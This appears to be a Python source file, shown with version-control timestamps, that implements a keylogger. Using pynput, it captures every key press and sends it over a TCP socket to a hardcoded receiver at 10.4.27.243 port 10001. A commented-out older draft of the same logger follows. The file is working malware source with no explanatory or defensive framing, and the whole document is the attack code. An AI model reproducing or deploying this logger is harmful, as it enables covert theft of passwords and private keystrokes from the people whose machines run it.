2020-12-10 18:07:09 +00:00
|
|
|
import socket
|
|
|
|
import os
|
|
|
|
from tkinter import *
|
|
|
|
from pynput import keyboard
|
|
|
|
|
|
|
|
#ipFile = open("IP.txt")
|
|
|
|
#IP = ipFile.read()
|
|
|
|
#ipFile.close()
|
|
|
|
|
|
|
|
|
|
|
|
#window = Tk()
|
|
|
|
#label = Label(window, text= 'What is the IP')
|
|
|
|
#entry = Entry(window, width=200)
|
|
|
|
#entry.insert(END, IP)
|
|
|
|
#label.pack()
|
|
|
|
#entry.pack()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
SEPARATOR = "<SEPARATOR>"
|
|
|
|
BUFFER_SIZE = 128 # send 4096 bytes each time step
|
|
|
|
|
|
|
|
host = "10.4.27.243"
|
|
|
|
# the ip address or hostname of the server, the receiver
|
|
|
|
# the port, let's use 5001
|
2020-12-15 07:43:42 +00:00
|
|
|
port = 10001
|
2020-12-10 18:07:09 +00:00
|
|
|
|
|
|
|
# create the client socket
|
|
|
|
s = socket.socket()
|
|
|
|
print(f"[+] Connecting to {host}:{port}")
|
|
|
|
s.connect((host, port))
|
|
|
|
print("[+] Connected.")
|
|
|
|
|
|
|
|
|
|
|
|
#-----------------------------------------------------------
|
|
|
|
|
|
|
|
|
2020-12-15 07:43:42 +00:00
|
|
|
def on_press(key):
|
2020-12-10 18:07:09 +00:00
|
|
|
dataToSend = (('{}'.format(key)).replace("'", ""))
|
|
|
|
dataToSendBytes = dataToSend.encode()
|
|
|
|
s.sendall(dataToSendBytes)
|
|
|
|
|
2020-12-15 07:43:42 +00:00
|
|
|
def on_release(key):
|
2020-12-10 18:07:09 +00:00
|
|
|
print("\n")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
with keyboard.Listener(on_press = on_press, on_release = on_release) as listener:
|
|
|
|
listener.join()
|
|
|
|
|
|
|
|
|
|
|
|
#-----------------------------------------
|
|
|
|
|
2020-12-15 07:43:42 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
###Old, not based of working release
|
|
|
|
# import socket
|
|
|
|
# import os
|
|
|
|
# from tkinter import *
|
|
|
|
# from pynput import keyboard
|
|
|
|
|
|
|
|
# #window = Tk()
|
|
|
|
# #label = Label(window, text= 'What is the IP')
|
|
|
|
# #entry = Entry(browser_window, width=200)
|
|
|
|
# #entry.insert(END, IP)
|
|
|
|
# #label.pack()
|
|
|
|
# #entry.pack()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# SEPARATOR = "<SEPARATOR>"
|
|
|
|
# BUFFER_SIZE = 128 # send 4096 bytes each time step
|
|
|
|
|
|
|
|
# host = "10.4.27.243"
|
|
|
|
# # the ip address or hostname of the server, the receiver
|
|
|
|
# # the port, let's use 5001
|
|
|
|
# port = 10001
|
|
|
|
|
|
|
|
# #IPfile = open("IPfile.txt", "w")
|
|
|
|
# #text_file.write("¬")
|
|
|
|
# #text_file.close()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# # create the client socket
|
|
|
|
# s = socket.socket()
|
|
|
|
# print(f"[+] Connecting to {host}:{port}")
|
|
|
|
# s.connect((host, port))
|
|
|
|
# print("[+] Connected.")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# #-----------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
# def on_press(key):
|
|
|
|
# dataToSend = ""
|
|
|
|
# dataToSend.write(('{}'.format(key)).replace("'", ""))
|
|
|
|
# sendfile()
|
|
|
|
# dataToSendBytes = dataToSend.encode()
|
|
|
|
# s.sendall(dataToSendBytes)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# with keyboard.Listener(
|
|
|
|
|
|
|
|
# on_press = on_press) as listener:
|
|
|
|
|
|
|
|
# listener.join()
|
|
|
|
|
|
|
|
|
|
|
|
# #-----------------------------------------
|